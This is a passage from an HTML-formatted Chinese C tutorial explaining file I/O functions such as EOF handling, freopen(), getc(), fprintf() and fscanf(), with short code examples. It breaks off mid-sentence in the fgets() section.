href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#EOF\" class=\"headerlink\" title=\"EOF\"\u003e\u003c/a\u003eEOF\u003c/h3\u003e\u003cp\u003eC 语言的文件操作函数的设计是,如果遇到文件结尾,就返回一个特殊值。程序接收到这个特殊值,就知道已经到达文件结尾了。\u003c/p\u003e\u003cp\u003e头文件\u003ccode\u003estdio.h\u003c/code\u003e为这个特殊值定义了一个宏\u003ccode\u003eEOF\u003c/code\u003e(end of file 的缩写),它的值一般是\u003ccode\u003e-1\u003c/code\u003e。这是因为从文件读取的二进制值,不管作为无符号数字解释,还是作为 ASCII 码解释,都不可能是负值,所以可以很安全地返回\u003ccode\u003e-1\u003c/code\u003e,不会跟文件本身的数据相冲突。\u003c/p\u003e\u003cp\u003e需要注意的是,不像字符串结尾真的存储了\u003ccode\u003e\\0\u003c/code\u003e这个值,\u003ccode\u003eEOF\u003c/code\u003e并不存储在文件结尾,文件中并不存在这个值,完全是文件操作函数发现到达了文件结尾,而返回这个值。\u003c/p\u003e\u003ch3 id=\"freopen\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#freopen\" class=\"headerlink\" title=\"freopen()\"\u003e\u003c/a\u003efreopen()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efreopen()\u003c/code\u003e用于新打开一个文件,直接关联到某个已经打开的文件指针。这样可以复用文件指针。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* \u003cspan class=\"title function_\"\u003efreopen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* filename, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mode, FILE stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它跟\u003ccode\u003efopen()\u003c/code\u003e相比,就是多出了第三个参数,表示要复用的文件指针。其他两个参数都一样,分别是文件名和打开模式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efreopen(\u003cspan class=\"string\"\u003e\u0026#34;output.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;w\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将文件\u003ccode\u003eoutput.txt\u003c/code\u003e关联到\u003ccode\u003estdout\u003c/code\u003e,此后向\u003ccode\u003estdout\u003c/code\u003e写入的内容,都会写入\u003ccode\u003eoutput.txt\u003c/code\u003e。由于\u003ccode\u003eprintf()\u003c/code\u003e默认就是输出到\u003ccode\u003estdout\u003c/code\u003e,所以运行上面的代码以后,文件\u003ccode\u003eoutput.txt\u003c/code\u003e会被写入\u003ccode\u003ehello\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efreopen()\u003c/code\u003e的返回值是它的第三个参数(文件指针)。如果打开失败(比如文件不存在),会返回空指针 NULL。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efreopen()\u003c/code\u003e会自动关闭原先已经打开的文件,如果文件指针并没有指向已经打开的文件,则\u003ccode\u003efreopen()\u003c/code\u003e等同于\u003ccode\u003efopen()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是\u003ccode\u003efreopen()\u003c/code\u003e关联\u003ccode\u003escanf()\u003c/code\u003e的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i, i2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;i); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efreopen(\u003cspan class=\"string\"\u003e\u0026#34;someints.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;i2);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,一共调用了两次\u003ccode\u003escanf()\u003c/code\u003e,第一次调用是从键盘读取,然后使用\u003ccode\u003efreopen()\u003c/code\u003e将\u003ccode\u003estdin\u003c/code\u003e指针关联到某个文件,第二次调用就会从该文件读取。\u003c/p\u003e\u003cp\u003e某些系统允许使用\u003ccode\u003efreopen()\u003c/code\u003e,改变文件的打开模式。这时,\u003ccode\u003efreopen()\u003c/code\u003e的第一个参数应该是 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efreopen(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;wb\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将\u003ccode\u003estdout\u003c/code\u003e的打开模式从\u003ccode\u003ew\u003c/code\u003e改成了\u003ccode\u003ewb\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"fgetc-,getc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fgetc-%EF%BC%8Cgetc\" class=\"headerlink\" title=\"fgetc(),getc()\"\u003e\u003c/a\u003efgetc(),getc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efgetc()\u003c/code\u003e和\u003ccode\u003egetc()\u003c/code\u003e用于从文件读取一个字符。它们的用法跟\u003ccode\u003egetchar()\u003c/code\u003e类似,区别是\u003ccode\u003egetchar()\u003c/code\u003e只用来从\u003ccode\u003estdin\u003c/code\u003e读取,而这两个函数是从任意指定的文件读取。它们的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efgetc\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE *stream)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003egetc\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efgetc()\u003c/code\u003e与\u003ccode\u003egetc()\u003c/code\u003e的用法是一样的,都只有文件指针一个参数。两者的区别是,\u003ccode\u003egetc()\u003c/code\u003e一般用宏来实现,而\u003ccode\u003efgetc()\u003c/code\u003e是函数实现,所以前者的性能可能更好一些。注意,虽然这两个函数返回的是一个字符,但是它们的返回值类型却不是\u003ccode\u003echar\u003c/code\u003e,而是\u003ccode\u003eint\u003c/code\u003e,这是因为读取失败的情况下,它们会返回 EOF,这个值一般是\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE *fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;hello.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((c = getc(fp)) != EOF)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003egetc()\u003c/code\u003e依次读取文件的每个字符,将其放入变量\u003ccode\u003ec\u003c/code\u003e,直到读到文件结尾,返回 EOF,循环终止。变量\u003ccode\u003ec\u003c/code\u003e的类型是\u003ccode\u003eint\u003c/code\u003e,而不是\u003ccode\u003echar\u003c/code\u003e,因为有可能等于负值,所以设为\u003ccode\u003eint\u003c/code\u003e更好一些。\u003c/p\u003e\u003ch3 id=\"fputc-,putc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fputc-%EF%BC%8Cputc\" class=\"headerlink\" title=\"fputc(),putc()\"\u003e\u003c/a\u003efputc(),putc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efputc()\u003c/code\u003e和\u003ccode\u003eputc()\u003c/code\u003e用于向文件写入一个字符。它们的用法跟\u003ccode\u003eputchar()\u003c/code\u003e类似,区别是\u003ccode\u003eputchar()\u003c/code\u003e是向\u003ccode\u003estdout\u003c/code\u003e写入,而这两个函数是向文件写入。它们的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efputc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e, FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eputc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e, FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efputc()\u003c/code\u003e与\u003ccode\u003eputc()\u003c/code\u003e的用法是一样,都接受两个参数,第一个参数是待写入的字符,第二个参数是文件指针。它们的区别是,\u003ccode\u003eputc()\u003c/code\u003e通常是使用宏来实现,而\u003ccode\u003efputc()\u003c/code\u003e只作为函数来实现,所以理论上,\u003ccode\u003eputc()\u003c/code\u003e的性能会好一点。\u003c/p\u003e\u003cp\u003e写入成功时,它们返回写入的字符;写入失败时,返回 EOF。\u003c/p\u003e\u003ch3 id=\"fprintf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fprintf\" class=\"headerlink\" title=\"fprintf()\"\u003e\u003c/a\u003efprintf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efprintf()\u003c/code\u003e用于向文件写入格式化字符串,用法与\u003ccode\u003eprintf()\u003c/code\u003e类似。区别是\u003ccode\u003eprintf()\u003c/code\u003e总是写入\u003ccode\u003estdout\u003c/code\u003e,而\u003ccode\u003efprintf()\u003c/code\u003e则是写入指定的文件,它的第一个参数必须是一个文件指针。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efprintf()\u003c/code\u003e可以替代\u003ccode\u003eprintf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,指定\u003ccode\u003efprintf()\u003c/code\u003e写入\u003ccode\u003estdout\u003c/code\u003e,结果就等同于调用\u003ccode\u003eprintf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;Sum: %d\\n\u0026#34;\u003c/span\u003e, sum);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是向文件指针\u003ccode\u003efp\u003c/code\u003e写入指定格式的字符串。\u003c/p\u003e\u003cp\u003e下面是向\u003ccode\u003estderr\u003c/code\u003e输出错误信息的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Something number.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"fscanf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fscanf\" class=\"headerlink\" title=\"fscanf()\"\u003e\u003c/a\u003efscanf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efscanf()\u003c/code\u003e用于按照给定的模式,从文件中读取内容,用法跟\u003ccode\u003escanf()\u003c/code\u003e类似。区别是\u003ccode\u003escanf()\u003c/code\u003e总是从\u003ccode\u003estdin\u003c/code\u003e读取数据,而\u003ccode\u003efscanf()\u003c/code\u003e是从文件读入数据,它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e,第一个参数必须是文件指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efscanf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;%d%d\u0026#34;\u003c/span\u003e, \u0026amp;i, \u0026amp;j);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efscanf()\u003c/code\u003e从文件\u003ccode\u003efp\u003c/code\u003e里面,读取两个整数,放入变量\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ej\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e使用\u003ccode\u003efscanf()\u003c/code\u003e的前提是知道文件的结构,它的占位符解析规则与\u003ccode\u003escanf()\u003c/code\u003e完全一致。由于\u003ccode\u003efscanf()\u003c/code\u003e可以连续读取,直到读到文件尾,或者发生错误(读取失败、匹配失败),才会停止读取,所以\u003ccode\u003efscanf()\u003c/code\u003e通常放在循环里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"built_in\"\u003efscanf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e, words) == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(words);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efscanf()\u003c/code\u003e依次读取文件的每个词,将它们一行打印一个,直到文件结束。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efscanf()\u003c/code\u003e的返回值是赋值成功的变量数量,如果赋值失败会返回 EOF。\u003c/p\u003e\u003ch3 id=\"fgets\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fgets\" class=\"headerlink\" title=\"fgets()\"\u003e\u003c/a\u003efgets()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efgets()\u003c/code\u003e用于从文件读取指定长度的字符串,它名字的第一个字符是\u003ccode\u003ef\u003c/code\u003e,就代表\u003ccode\u003efile\u003c/code\u003e。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003efgets\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str, \u003cspan class=\"type\"\u003eint\u003c/span\u003e STRLEN, File* fp)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的第一个参数\u003ccode\u003estr\u003c/code\u003e是一个字符串指针,用于存放读取的内容。第二个参数\u003ccode\u003eSTRLEN\u003c/code\u003e指定读取的长度,第三个参数是一个 FILE 指针,指向要读取的文件。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efgets()\u003c/code\u003e读取 STRLEN - 1 